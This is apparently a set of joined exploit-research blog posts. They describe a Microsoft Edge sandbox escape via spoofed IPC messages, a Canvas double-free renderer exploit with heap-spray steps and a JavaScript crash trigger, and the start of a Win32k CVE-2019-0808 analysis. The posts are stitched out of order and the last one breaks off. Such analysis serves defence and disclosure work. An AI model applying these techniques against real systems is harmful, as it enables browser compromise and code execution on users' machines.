This is the second part of the blog post on the Microsoft Edge full-chain exploit. It provides analysis and describes exploitation of a logical vulnerability in the implementation of the Microsoft Edge browser sandbox which allows arbitrary code execution with Medium Integrity Level.
Background
Microsoft Edge employs various Inter-Process Communication (IPC) mechanisms to communicate between content processes, the Manager process and broker processes. The one IPC mechanism relevant to the described vulnerability is implemented as a set of custom message passing functions which extend the standard Windows API PostMessage() function. These functions look like the following:
The listed functions are used to send messages with or without data and are stateless. No direct way to get the result of an operation is supported. The functions return only the result of the message posting operation, which does not guarantee that the requested action has completed successfully. The main goal of these functions is to trigger certain events (e.g. when a user is clicking on the navigation panel), signal state information, and notification of user interface changes.
Messages are sent to the windows of the current process or the windows of the Manager process. A call to PostMessage() is chosen when the message is sent to the current process. For the inter-process messaging a shared memory section and Windows events are employed. The implementation details are hidden from the developer and the direction of the message is chosen based on the value of the window handle. Each message has a unique identifier which denotes the kind of action to perform as a response to the trigger.
Messages that are supposed to be created as a reaction to a user triggered event are passed from one function to another through the virtual layer of different handlers. These handlers process the message and may pass the message further with a different message identifier.
The Vulnerability
The Microsoft Edge Manager process accepts messages from other processes, including content process. Some messages are meant to be run only internally, without crossing process boundaries. A content process can send messages which are supposed to be sent only within the Manager process. If such a message arrives from a content process, it is possible to forge user clicks and thus download and launch an arbitrary binary.
When the download of an executable file is initiated (either by JavaScript code or by user request) the notification bar with buttons appears and the user is offered three options: “Run” to run the offered file, “Download” to download, or “Cancel” to cancel. If the user clicks “Run”, a series of messages are posted from one Manager process window to another. It is possible to see what kind of messages are passed in the debugger by using following breakpoints:
bu edgeIso!LCIEPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!LCIEPostMessageWithDISPPARAMS ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessage ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageWithoutBuffer ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
bu edgeIso!IsoPostMessageUsingVirtualAddress ".printf \"\\n---\\n%y(%08x, %08x, %08x, ...)\\n\", @rip, @rcx, @rdx, @r8; k L10; g"
There are a large number of messages sent during the navigation and subsequent file download, which forms a complex order of actions. The following list represents a simplified description of the actions performed by either a content process (CP) or the Manager process (MP) during ordinary user activities:
a user clicks on a link to navigate (or the navigation is triggered by JavaScript code)
a navigation event is fired (messages sent from CP to MP)
messages for the modal download notification bar creation and handling are sent (CP to MP)
the modal notification bar appears
messages to handle the navigation and the state of the history are sent (CP to MP)
messages are sent to handle DOM events (CP to MP)
the download is getting handled again; messages with relevant download information are passed (CP to MP)
the user clicks “Run” to run the file download
messages are sent about the state of the download (MP to CP)
the CP responds with updated file download information and terminates download handling in its own process
the MP picks up file download handling and starts sending messages to its own Windows (MP to MP)
the MP starts the security scan of the downloaded file (MP to MP)
if the scan has completed successfully, a message is sent to the broker process to run the file
the “browser_broker.exe” broker process launches the executable file
The first message in the series of calls is the response to the user’s click and it initiates the actual series of message passing events. Next follows a message which is important for the exploit because the call stack includes the function which the exploit will imitate. Excerpt of the debugger log file looks like the following:
The last message sent is important as well, it has the identifier 0xd6b and it initiates running the file. Excerpt of the debugger log file looks like the following:
The message sent by SpartanCore::DownloadsHandler::SendCommand() is spoofed by the exploit code.
Exploit Development
The exploit code is completely implemented in Javascript and calls the required native functions from Javascript.
The exploitation process can be divided into the following stages:
changing location origin of the current document
executing the JavaScript code which offers to run the download file
posting a message to the Manager process which triggers the file to be run
restoring original location.
Depending on the location of the site, the Edge browser may warn the user about potentially unsafe file download. In the case of internet sites, the user is always warned. As well the Edge browser checks the referrer of the download and may refuse to run the downloaded file even when the user has explicitly chosen to run the file. Additionally, the downloaded file is scanned with Microsoft Windows Defender SmartScreen which blocks any file from running if the file is considered malicious. This prevents a successful attack.
However, when a download is initiated from the “file://” URL and the download referrer is also from the secure zone (or without a zone as is the case with the “blob:” protocol), the downloaded file is not marked with the “Mark of the Web” (MotW). This completely bypasses checks by Microsoft Defender SmartScreen and allows running the downloaded file without any restrictions.
For the first step the exploit finds the current site URL and overwrites it with a “file:///” zone URL. The URL of the site is found by reading relevant pointers in memory. After the site URL is overwritten, the renderer process treats any download that is coming from the current site as coming from the “file:///” zone.
For the second step the exploit executes the JavaScript code which fetches the download file from the remote server and offers it as a download:
The executed JavaScript initiates the file download and internally the Edge browser caches the file and keeps a temporary copy as long as the user has not responded to the download notification bar. Before any file download, a Globally Unique Identifier (GUID) is created for the actual download file. The Edge browser recognizes downloads not by the filename or the path, but by the download GUID. Messages which send commands to do any file operation must pass the GUID of the actual file. Therefore it is required to find the actual file download GUID. The required GUID is created by the content process during the call to EdgeContent!CDownloadState::Initialize():
.text:0000000180058CF0 public: long CDownloadState::Initialize(class CInterThreadMarshal *, struct IStream *, unsigned short const *, struct _GUID const &, unsigned short const *, struct IFetchDownloadContext *) proc near
...
.text:0000000180058E6F loc_180058E6F:
.text:0000000180058E6F mov edi, 8007000Eh
.text:0000000180058E74 test rbx, rbx
.text:0000000180058E77 jz loc_180058FF0
.text:0000000180058E7D test r13b, r13b
.text:0000000180058E80 jnz short loc_180058E93
.text:0000000180058E82 lea rcx, [rsi+74h] ; pguid
.text:0000000180058E86 call cs:__imp_CoCreateGuid
Next follows the call to EdgeContent!DownloadStateProgress::LCIESendToDownloadManager(). This function packs all the relevant download data (such as the current URL, path to the cache file, the referrer, name of the file, and the mime type of the file), adds padding for the meta-data, creates the so called “message buffer” and sends it to the Manager process via a call to LCIEPostMessage(). As this message is getting posted to another process, all the data is eventually placed at the shared memory section and is available for reading and writing by both the content and Manager processes. The message buffer is eventually populated with the download file GUID.
The described operation performed by DownloadStateProgress::LCIESendToDownloadManager() is important for the exploit as it indirectly leaks the address of the message buffer and the relevant download file GUID.
The allocation address of the message buffer depends on the size of the message. There are several ranges of sizes:
0x0 to 0x20 bytes: unsupported (message posting fails)
0x20 to 0x1d0 bytes: first slot
0x1d4 to 0xfd0 bytes: second slot
from 0x1fd4 bytes: last slot
If the previous message with the same size slot was freed, the new message is allocated at the same address. The specifics of the message buffer allocator allows leaking the address of the next buffer without the risk of failure. After the file download is triggered, the exploit gets the address of the message buffer. After the address of the message buffer is retrieved, it is possible to parse the message buffer and extract relevant data (such as the cache path and the file download GUID).
The last important step is to send a message which triggers the browser to run the downloaded file (the actual file operation is performed by the browser broker “browser_broker.exe”) with Medium Integrity Level. The exploit code which performs the current step is borrowed from eModel!TFlatIsoMessage<DownloadOperation>::Post():
__int64 __fastcall TFlatIsoMessage&amp;lt;DownloadOperation&amp;gt;::Post(
unsigned int a1,
unsigned int a2,
__int64 a3,
__int64 a4,
__int64 a5
)
{
unsigned int v5; // esi
unsigned int v6; // edi
signed int result; // ebx
__int64 isoMessage_; // r8
__m128i threadStateGUID; // xmm0
unsigned int v11; // [rsp+20h] [rbp-48h]
__int128 tmpThreadStateGUID; // [rsp+30h] [rbp-38h]
__int64 isoMessage; // [rsp+40h] [rbp-28h]
unsigned int msgBuffer; // [rsp+48h] [rbp-20h]
v5 = a2;
v6 = a1;
result = IsoAllocMessageBuffer(a1, &amp;amp;msgBuffer, 0x48u, &amp;amp;isoMessage);
if ( result &amp;gt;= 0 )
{
isoMessage_ = isoMessage;
*(isoMessage + 0x20) = *a5;
*(isoMessage_ + 0x30) = *(a5 + 0x10);
*(isoMessage_ + 0x40) = *(a5 + 0x20);
threadStateGUID = *GlobalThreadState();
v11 = msgBuffer;
_mm_storeu_si128(&amp;amp;tmpThreadStateGUID, threadStateGUID);
result = IsoPostMessage(v6, v5, 0xD6Bu, 0, v11, &amp;amp;tmpThreadStateGUID);
if ( result &amp;lt; 0 )
{
IsoFreeMessageBuffer(msgBuffer);
}
}
return result;
}
Last, the exploit recovers the original site URL to avoid any potential artifacts and sends messages to remove the download notification bar.
Open problems
The only issue with the exploit is that a small popup will appear for a split second before the exploit has sent a message to click the popup button. Potentially it is possible to avoid this popup by sending a different set of messages which does not require a popup to be present.
Detection
There are no trivial methods to detect exploitation of the described vulnerability as the exploit code does not require any kind of particularly notable data and is not performing any kind of exceptional activity.
Mitigation
The exploit is developed in Javascript, but there is a possibility to develop an exploit not based on Javascript which makes it non-trivial to mitigate the issue with 100% certainty.
For exploits developed in Javascript, it is possible to mitigate this issue by disabling Javascript.
The sandbox escape exploit part is 100% reliable and portable—thus requiring almost no effort to keep it compatible with different browser versions.
Here is the video demonstrating the full exploit-chain in action:
For demonstration purposes, the exploit payload writes a file named “w00t.txt” to the user desktop, opens this file with notepad and shows a message box with the integrity level of the “payload.exe”.
Subscribers of the Exodus 0day Feed had access to this exploit for penetration tests and implementing protections for their stakeholders.
This year Exodus Intelligence participated in the Pwn2Own competition in Vancouver. The chosen target was the Microsoft Edge browser and a full-chain browser exploit was successfully demonstrated. The exploit consisted of two parts:
logical vulnerability sandbox escape exploit achieving arbitrary code execution with Medium Integrity Level
This blog post describes the exploitation of the double-free vulnerability in the renderer process of Microsoft Edge 64-bit. Part 2 will describe the sandbox escape vulnerability.
The Vulnerability
The vulnerability is located in the Canvas 2D API component which is responsible for creating canvas patterns. The crash is triggered with the following JavaScript code:
let canvas = document.createElement('canvas');
let ctx = canvas.getContext('2d');
// Allocate canvas pattern objects and populate hash table.
for (let i = 0; i &amp;lt; 31; i++) {
ctx.createPattern(canvas, 'no-repeat');
}
// Here the canvas pattern objects will be freed.
gc();
// This is causing internal OOM error.
canvas.setAttribute('height', 0x4000);
canvas.setAttribute('width', 0x4000);
// This will partially initialize canvas pattern object and trigger double-free.
try {
ctx.createPattern(canvas, 'no-repeat');
} catch (e) {
}
If you run this test-case, you may notice that the crash does not happen always, several attempts may be required. In one of the next sections it will be explained why.
With the page heap enabled, the crash would look like this:
On line 21 the heap manager allocates space for the canvas pattern object and on the following lines certain members are set to 0. It is important to note the CCanvasPattern::Data member is populated on line 28.
Next follows a call to the CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method which is responsible for video memory allocation for the canvas pattern object on a target device. In certain cases this method returns an error. For the given vulnerability the bug is triggered when Windows GDI D3DKMTCreateAllocation() returns the error STATUS_GRAPHICS_NO_VIDEO_MEMORY (error code 0xc01e0100). Setting width and height of the canvas object to huge values can cause the video device to return an out-of-memory error. The following call stack shows the path which is taken after the width and height of the canvas object have been set to the large values and after consecutive calls to createPattern():
A requirement to trigger the error is that the target hardware has an integrated video card or a video card with low memory. Such conditions are met on the VMWare graphics pseudo-hardware or on some budget devices. It is potentially possible to trigger other errors which do not depend on the target hardware resources as well.
Under normal conditions (i.e. the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() method does not return any error) the CCanvasPattern::Initialize() method is called:
On line 40 one of the canvas pattern object members is set to point to the CCanvasPattern::Data object.
During the call to the CCanvasPattern::InitializeFromCanvas() method, a chain of calls follows. This eventually leads to a call of the following method:
The above method adds a display resource to the cache. In the current case, the display resource is the DXImageRenderTarget object and the cache is a hash table which is implemented in the TDispResourceCache class.
On line 32 the call to the TDispResourceCache<CDispNoLock,1,0>::Add() method happens:
On line 27 the vulnerable object is getting allocated. Important to note that the object is not allocated through the MemGC mechanism.
The hash table entries consist of a key-value pair. The key is a CCanvasPattern::Data object and the value is a DXImageRenderTarget. The initial size of the hash table allows it to hold up to 29 entries, however there is space for 37 entries. Extra entries are required to reduce the amount of possible hash collisions. A hash function is applied to each key to deduce position in the hash table. When the hash table is full, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Grow() method is called to increase the capacity of the hash table. During this call, key-value pairs are moved to the new indexes, keys are removed from the previous position, but values remain. If, after the growth, the key-value pair has to be removed (e.g.canvas pattern objects is freed), the value is freed and the key-value pair is removed only from the new position.
When the amount of entries is below a certain value, CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called to reduce the capacity of the hash table. When the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::Shrink() method is called, key-value pairs are moved to the previous positions.
When the canvas pattern object is freed, the hash table entry which holds the appropriate CCanvasPattern::Data object is removed via the following method call:
This method retrieves the hash table entry value by calling the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method.
If the call to CCanvasRenderingProcessor2D::EnsureBitmapRenderTarget() returns an error, the canvas pattern object has an uninitialized member which is supposed to hold a pointer to the CCanvasPattern::Data object. Nevertheless, the canvas pattern object destructor calls the CHtPvPvBaseT<&int nullCompare(…),HashTableEntry>::FindEntry() method and provides a key which is a nullptr. The method returns the very first value if there is any. If the hash table was grown and then shrunk, it will store pointers to the freed DXImageRenderTarget objects. Under such conditions, the TDispResourceCache<CDispNoLock,1,0>::Remove() method will operate on the already freed object (variable freedObject).
Several attempts are required to trigger vulnerability because there will not always be an entry at the first position.
It is possible to exploit this vulnerability in one of two ways:
allocate some object in place of the freed object and free it thus causing a use-after-free on an almost arbitrary object
allocate some object which has a suitable layout (first quad-word must be a pointer to an object with a virtual function table) to call a virtual function and cause side-effects like corrupting some useful data
The first method was chosen for exploitation because it’s difficult to find an object which fits the requirements for the second method.
Exploit Development
The exploit turned out to be non-trivial due to the following reasons:
Microsoft Edge allocates objects with different sizes and types on different heaps; this reduces the amount of available objects
the freed object is allocated on the default Windows heap which employs LFH; this makes it impossible to create adjacent allocations and reduces the chances of successful object overwrite
the freed object is 0x10 bytes; objects of this size are often used for internal servicing purposes; this makes the relevant heap region busy which also reduces exploitation reliability
there is a limited number of LFH objects of 0x10 bytes in size that are available from Javascript and are actually useful
objects that are available for control from Javascript allow only limited control
no object used during exploitation allows direct corruption of any field in a way that can lead to useful effects (e.g. controllable write)
multiple small heap allocations and frees were required to gain control over objects with interesting fields.
A high-level overview of the renderer exploitation process:
the heap is prepared and the objects required for exploitation are sprayed
all of the 0x10-byte DXImageRenderTarget objects are freed (one of them is the object which will be freed again)
audio buffer objects are sprayed; this also creates 0x10-byte raw data buffer objects with arbitrary size and contents; some of the buffers take the freed spots
the double-free is triggered and one of the 0x10-byte raw data buffer objects is freed (it is possible to read-write this object)
objects of 0x10-bytes size are sprayed, they contain two pointers (0x8-bytes) to 0x20-byte sized raw data buffer objects
the exploit iterates over the raw data buffer objects allocated on step 3 and searches for the overwrite
objects allocated on step 5 are freed (with 0x20-byte sized objects) and 0x20-byte sized typed arrays are sprayed over them
the exploit leaks pointers to two of the sprayed typed arrays
0x10-byte sized objects are sprayed, they contain two pointers to the 0x200-byte sized raw data buffer objects; audio source will keep writing to these buffers
the exploit leaks pointers to two of the sprayed write-buffer objects
the exploit starts playing audio, this starts writing to the controllable (vulnerable) object address of the typed array (the address is increased by 0x10 bytes to point to the length of the typed array) in the loop; the audio buffer source node keeps writing to the 0x200-byte data buffer, but is re-writing pointers to the buffer in the 0x10-byte object; the repeated write in the loop is required to win a race
after a certain amount of iterations the exploit quits looping and checks if the typed array has increased length
at this point exploit has achieved a relative read-write primitive
the exploit uses the relative read to find the WebCore::AudioBufferData and WTF::NeuteredTypedArray objects (they are placed adjacent on the heap)
the exploit uses data found during the previous step in order to construct a typed array which can be used for arbitrary read-write
the exploit creates a fake DataView object for more convenient memory access
with arbitrary read-write is achieved, the exploit launches a sandbox escape.
The following diagram can help understand the described steps:
Getting relative read-write primitive
To trigger the vulnerability, thirty canvas pattern objects are created, this forces the hash table to grow. Then the canvas pattern objects are freed and the hash table is shrunk; this creates a dangling pointer to the DXImageRenderTarget in the hash table entry. It is yet not possible to access the pointer to the freed object.
After the DXImageRenderTarget object is freed by the TDispResourceCache<CDispNoLock,1,0>::Remove method, the spray is performed to allocate audio context data buffer objects – let us call it spray “A”. Data buffer objects are created by calling audio context createBuffer(). This function has the following prototype:
let buffer = baseAudioContext.createBuffer(numOfchannels, length, sampleRate);
The numOfchannels argument denotes a number of pointers to channel data to create, length is the length of the data buffer, sampleRate is not important for exploitation. Javascript createBuffer() triggers the call to CDOMAudioContext::Var_createBuffer(), which eventually calls WebCore::AudioChannelData::Initialize():
On line 17 a WTF::IEOwnedTypedArray object is allocated on the default Windows heap. This object is interesting for exploitation as it contains the following metadata:
0:016&amp;gt; dq 000001b0`374fbd80 L20/8
000001b0`374fbd80 00007ffe`47f8b4a0 000001b0`379e9030 ; vtable; pointer to the data buffer
000001b0`374fbd90 00000000`00000030 00080000`00000000 ; length; unused
0:016&amp;gt; dq 000001b0`379e9030 L10/8
000001b0`379e9030 0000003a`cafebeef 00000000`00000002 ; arbitrary data
0:016&amp;gt; ln 00007ffe`47f8b4a0
(00007ffe`47f8b4a0) edgehtml!WTF::IEOwnedTypedArray&amp;lt;1,float&amp;gt;::`vftable`
On line 21 the data buffer is allocated (also on the default Windows heap). One of the buffers takes the spot of the freed DXImageRenderTarget object. This data buffer has the following layout:
The second quad-word is a reference counter. Values other than 1 trigger access to the virtual function table which does not exist and cause a crash. A reference counter value of 1 means that the object is going to be freed.
The data buffer which is allocated in place of the freed object is used throughout the exploit to read and write values placed inside this buffer.
Before freeing the object for the second time, audio context buffer sources are created by calling Javascript createBufferSource(). This function does not accept any arguments, but is expecting the buffer property to be set. Allocations are made before the vulnerable object is freed so to avoid unnecessary noise on the heap – let us call it spray “B”. The buffer property is set to one of the buffer objects which were created during startup (i.e. before triggering the vulnerability) by calling createBuffer() – let us call it spray “C”. During this property access, the following method is called:
On line 71 yet another data buffer is allocated. The amount of bytes depends on the number of channels. Each channel creates one pointer which points to the data with arbitrary size and controllable contents. This is a useful primitive which is used later during the exploitation process.
To trigger the call to the WebCore::AudioBufferSourceNode::setBuffer() method, the audio must be already playing: either start() is called with the buffer property already set, or the buffer property is set and then start() is called.
Next, the double-free vulnerability is triggered and one of the audio channel data buffers is freed, although control from Javascript is retained.
The start() method of the audio buffer source object is called on each object of spray “B”. This creates multiple 0x10-byte sized objects with two pointers to the 0x20-byte sized data buffer object of spray “C”. During this spray one of the sprayed objects takes over the freed object from spray “A”.
Then the exploit iterates over spray “A” to find a data buffer with changed contents. Each object of spray “A” has getChannelData() – which returns the channel data as a Float32Array typed array. getChannelData() accepts only the channel number argument. Once the change has been found, a typed array is created. This typed array is read-writable and is further used multiple times in the exploit to leak and write pointers. Let us call it typed array “TA1”.
After the controllable channel data typed array is found, all of the spray “B”objects are freed. All data relevant to spray “B” is scoped just to one function. This is required to remove all internal references from Javascript to the data buffer from spray “C”. Otherwise it will not be possible to free the data buffer later.
After the return from the function, another spray is made – let us call it spray “D”. This spray prepares an audio buffer source data for the next steps and takes over the freed object. At this point the overwritten object does not contain data.
Then the exploit iterates over spray “D” and calls the start() function of each object. This writes to the freed object two pointers pointing to the 0x200-byte sized objects. These objects are used by the audio context to write audio data to be played. It is important to note that data is periodically written to this buffer, as well as pointers constantly written to the 0x10-byte objects. (This poses another problem which is resolved at the next step.) These pointers are also leaked via the “TA1” typed array.
Then the buffer object which was used for spray “B” is freed and a different spray is performed to take over the just-freed data buffer – let us call it spray “E”. Spray “E” allocates typed arrays (which are of size 0x20 bytes) and one of the typed arrays overwrites contents of the freed 0x20-byte data buffer. This allows a leak of pointers to two of the sprayed typed arrays via the typed array “TA1”. Only one pointer to the typed array is required for the exploit, let us call it typed array “TA2”. This typed array points to the data buffer of 0x30 bytes. The size of this buffer is important as it allows placement of other objects nearby which are useful for exploitation.
At this point it is known where the two typed arrays and the two audio write-buffers are located. The exploit enters a loop which constantly writes a pointer to the “TA2” typed array to the 0x10-byte object. The written pointer is increased by 0x10 bytes to point to the length field. The loop is required to win a race condition because the audio context thread keeps re-writing pointers in the 0x10-byte object. After a certain number of iterations the loop is ended and the exploit searches for the overwritten typed array.
The overwritten WTF::IEOwnedTypedArray typed array gives a relative read-write primitive.
Getting arbitrary read-write primitive
Before triggering the vulnerability the exploit has made another spray which has allocated the buffer sources and appropriate buffers for the sources – let us call it spray “F” . During this spray the WebCore::AudioBufferData objects of 0x30 bytes size with the following memory layout are created:
These objects are placed nearby the data buffer which is controlled by the typed array “TA2”. WTF::NeuteredTypedArray objects of size 0x30 bytes are placed nearby too:
After the relative read-write primitive is gained, offsets from the beginning of the typed array “TA2” buffer to these objects are found by searching for the specific pattern.
Knowing the offset to the WebCore::AudioBufferData object allows to leak a pointer to the audio channel data buffer. (The audio channel data is used to create a fake controllable DataView object and eventually achieve an arbitrary read-write primitive.) At offset 0x18 of the WebCore::AudioBufferData object, the pointer to the audio channel data buffer is stored. Before calling getChannelData() the memory layout of the channel data buffer looks like the following:
After calling getChannelData() member of the WebCore::AudioBufferData object, pointers in the channel data buffer are moved around and start pointing to the typed array objects allocated on the Chakra heap. This is important as it allows leaking the typed array pointers and creating a fake typed array. This is the memory layout of the channel data buffer after the call to getChannelData():
Knowing the offset to the WTF::NeuteredTypedArray object allows to achieve an arbitrary read primitive.
The buffer this object points to cannot be used for a write. Once the write happens, the buffer is moved to another heap. Increasing the length of the buffer is not possible due to security asserts enabled. An attempt to write to the buffer with the modified length leads to a crash of the renderer process.
The layout of the WTF::NeuteredTypedArray object looks like the following:
A pointer to the data buffer is stored at offset 8. It is possible to overwrite this pointer and point to any address to arbitrarily read memory.
With the arbitrary read primitive the contents of the typed array and the channel data buffer of the WebCore::AudioBufferData object are leaked. With the ability to write to the relative typed array, the following contents are placed in the controllable buffer:
After this operation the WebCore::AudioBufferData object points to the fake channel data (located at 0x00000140e87e7da0). The channel data contains a pointer to the fake DataView object (located at 0x00000140e87e7eb0). Initially, the Float32Array object is leaked and placed, but it is not a very convenient type to use for exploitation. To convert it to a DataView object, the type tag has to be changed in the metadata. The type tag for the Float32Array object type is 0x31, for the DataView object it is 0x38.
The fake DataView object is accessed by calling getChannelData() of the WebCore::AudioBufferData object.
At this point an arbitrary read-write primitive is achieved.
Wrapping up the renderer exploit
Getting code execution in Microsoft Edge renderer is a bit more involved in contrast to other browsers since Microsoft Edge browser employs mitigations known as Arbitrary Code Guard (ACG) and Code Integrity Guard (CIG). Nevertheless, there is a way to bypass ACG. Having an arbitrary read-write primitive it is possible to find the stack address, setup a fake stack frame and divert code execution to the function of choice by overwriting the return address. This method was chosen to execute the sandbox escape payload.
The last problem that had to be addressed in order to have reliable process continuation is a LFH double-free mitigation. Once exploitation is over, some pointers are left and when they are picked up by the heap manager, the process will crash. Certain pointers can be easily found by leaking address of required objects. One last pointer had to be found by scanning the heap as there was no straightforward way to find it. Once the pointers are found they are overwritten with null.
Open problems
The exploit has the following issues:
the vulnerability trigger depends on hardware;
exploit reliability is about 75%;
The first issue is due to the described requirement of hardware error. The trigger works only on VMWare and on some devices with integrated video hardware. It is potentially possible to avoid hardware dependency by triggering some generic video graphics hardware error.
The second issue is mostly due to the requirement to have complicated heap manipulations and LFH mitigations. Probably it is possible to improve reliability by performing smarter heap arrangement.
Process continuation was solved as described in the previous section. No artifacts exist.
Detection
It is possible to detect exploitation of the described vulnerability by searching for the combination of the following Javascript code:
repeated calls to createPattern()
setting canvas attributes “width” and “height” to large values
As a result, reliability of the renderer exploit achieved a ~75% success rate. Exploitation takes about 1-2 seconds on average. When multiple retries are required then exploitation can take a bit more time.
Microsoft has gone to great lengths to harden their Edge browser renderer process as browsers still remain a major threat attack vector and the renderer has the largest attack surface. Yet a single vulnerability was used to achieve memory disclosure and gain arbitrary read-write to compromise a content process. Part 2 will discuss an interesting logical sandbox escape vulnerability.
Exodus 0day subscribers have had access to this exploit for use on penetration tests and/or implementing protections for their stakeholders.
This post explores a recently patched Win32k vulnerability (CVE-2019-0808) that was used in the wild with CVE-2019-5786 to provide a full Google Chrome sandbox escape chain.
Overview
On March 7th 2019, Google came out with a blog post discussing two vulnerabilities that were being chained together in the wild to remotely exploit Chrome users running Windows 7 x86: CVE-2019-5786, a bug in the Chrome renderer that has been detailed in our blog post, and CVE-2019-0808, a NULL pointer dereference bug in win32k.sys affecting Windows 7 and Windows Server 2008 which allowed attackers escape the Chrome sandbox and execute arbitrary code as the SYSTEM user.
Since Google’s blog post, there has been one crash PoC exploit for Windows 7 x86 posted to GitHub by ze0r, which results in a BSOD. This blog details a working sandbox escape and a demonstration of the full exploit chain in action, which utilizes these two bugs to illustrate the APT attack encountered by Google in the wild.
Analysis of the Public PoC
To provide appropriate context for the rest of this blog, this blog will first start with an analysis of the public PoC code. The first operation conducted within the PoC code is the creation of two modeless drag-and-drop popup menus, hMenuRoot and hMenuSub.hMenuRoot will then be set up as the primary drop down menu, and hMenuSub will be configured as its submenu.
Following this, a WH_CALLWNDPROC hook is installed on the current thread using SetWindowsHookEx(). This hook will ensure that WindowHookProc() is executed prior to a window procedure being executed. Once this is done, SetWinEventHook() is called to set an event hook to ensure that DisplayEventProc() is called when a popup menu is displayed.
The following diagram shows the window message call flow before and after setting the WH_CALLWNDPROC hook.
Once the hooks have been installed, the hWndFakeMenu window will be created using CreateWindowA() with the class string “#32768”, which, according to MSDN, is the system reserved string for a menu class. Creating a window in this manner will cause CreateWindowA() to set many data fields within the window object to a value of 0 or NULL as CreateWindowA() does not know how to fill them in appropriately. One of these fields which is of importance to this exploit is the spMenu field, which will be set to NULL.
hWndMain is then created using CreateWindowA() with the window class wndClass. This will set hWndMain‘s window procedure to DefWindowProc() which is a function in the Windows API responsible for handling any window messages not handled by the window itself.
The parameters for CreateWindowA() also ensure that hWndMain is created in disabled mode so that it will not receive any keyboard or mouse input from the end user, but can still receive other window messages from other windows, the system, or the application itself. This is done as a preventative measure to ensure the user doesn’t accidentally interact with the window in an adverse manner, such as repositioning it to an unexpected location. Finally the last parameters for CreateWindowA() ensure that the window is positioned at (0x1, 0x1), and that the window is 0 pixels by 0 pixels big. This can be seen in the code below.
After the hWndMain window is created, TrackPopupMenuEx() is called to display hMenuRoot. This will result in a window message being placed on hWndMain‘s message stack, which will be retrieved in main()‘s message loop via GetMessageW(), translated via TranslateMessage(), and subsequently sent to hWndMain‘s window procedure via DispatchMessageW(). This will result in the window procedure hook being executed, which will call WindowHookProc().
As the bOnDraging variable is not yet set, the WindowHookProc() function will simply call CallNextHookEx() to call the next available hook. This will cause a EVENT_SYSTEM_MENUPOPUPSTART event to be sent as a result of the popup menu being created. This event message will be caught by the event hookand will cause execution to be diverted to the function DisplayEventProc().
Since this is the first time DisplayEventProc() is being executed, iMenuCreated will be 0, which will cause case 0 to be executed. This case will send the WM_LMOUSEBUTTON window message to hWndMainusing SendMessageW() in order to select the hMenuRoot menu at point (0x5, 0x5). Once this message has been placed onto hWndMain‘s window message queue, iMenuCreated is incremented.
hWndMain then processes the WM_LMOUSEBUTTON message and selects hMenu, which will result in hMenuSub being displayed. This will trigger a second EVENT_SYSTEM_MENUPOPUPSTART event, resulting in DisplayEventProc() being executed again. This time around the second case is executed as iMenuCreated is now 1. This case will use SendMessageW() to move the mouse to point (0x6, 0x6) on the user’s desktop. Since the left mouse button is still down, this will make it seem like a drag and drop operation is being performed. Following this iMenuCreated is incremented once again and execution returns to the following code with the message loop inside main().
Since iMenuCreated now holds a value of 2, the code inside the if statement will be executed, which will set bOnDraging to TRUE to indicate the drag operation was conducted with the mouse, after which a call will be made to the function callNtUserMNDragOverSysCall() with the address of the POINT structure pt and the 0x100 byte long output buffer buf.
callNtUserMNDragOverSysCall() is a wrapper function which makes a syscall to NtUserMNDragOver() in win32k.sys using the syscall number 0x11ED, which is the syscall number for NtUserMNDragOver() on Windows 7 and Windows 7 SP1. Syscalls are used in favor of the PoC’s method of obtaining the address of NtUserMNDragOver() from user32.dll since syscall numbers tend to change only across OS versions and service packs (a notable exception being Windows 10 which undergoes more constant changes), whereas the offsets between the exported functions in user32.dll and the unexported NtUserMNDragOver() function can change anytime user32.dll is updated.
void callNtUserMNDragOverSysCall(LPVOID address1, LPVOID address2) {
_asm {
mov eax, 0x11ED
push address2
push address1
mov edx, esp
int 0x2E
pop eax
pop eax
}
}
NtUserMNDragOver() will end up calling xxxMNFindWindowFromPoint(), which will execute xxxSendMessage() to issue a usermode callback of type WM_MN_FINDMENUWINDOWFROMPOINT. The value returned from the user mode callback is then checked using HMValidateHandle() to ensure it is a handle to a window object.
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt)
{
....
v6 = xxxSendMessage(
var_pPopupMenu->spwndNextPopup,
MN_FINDMENUWINDOWFROMPOINT,
(WPARAM)&pPopupMenu,
(unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the
// MN_FINDMENUWINDOWFROMPOINT usermode callback
// using the address of pPopupMenu as the
// wParam argument.
ThreadUnlock1();
if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user
// mode callback is a handle to a MFMWFP window.
v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned
// handle is a handle to
// a window object. Set v1 to
// TRUE if all is good.
...
When the callback is performed, the window procedure hook function, WindowHookProc(), will be executed before the intended window procedure is executed. This function will check to see what type of window message was received. If the incoming window message is a WM_MN_FINDMENUWINDOWFROMPOINT message, the following code will be executed.
This code will change the window procedure for hWndMain from DefWindowProc() to SubMenuProc(). It will also set bIsDefWndProc to FALSE to indicate that the window procedure for hWndMain is no longer DefWindowProc().
Once the hook exits, hWndMain‘s window procedure is executed. However, since the window procedure for the hWndMain window was changed to SubMenuProc(), SubMenuProc() is executed instead of the expected DefWindowProc() function.
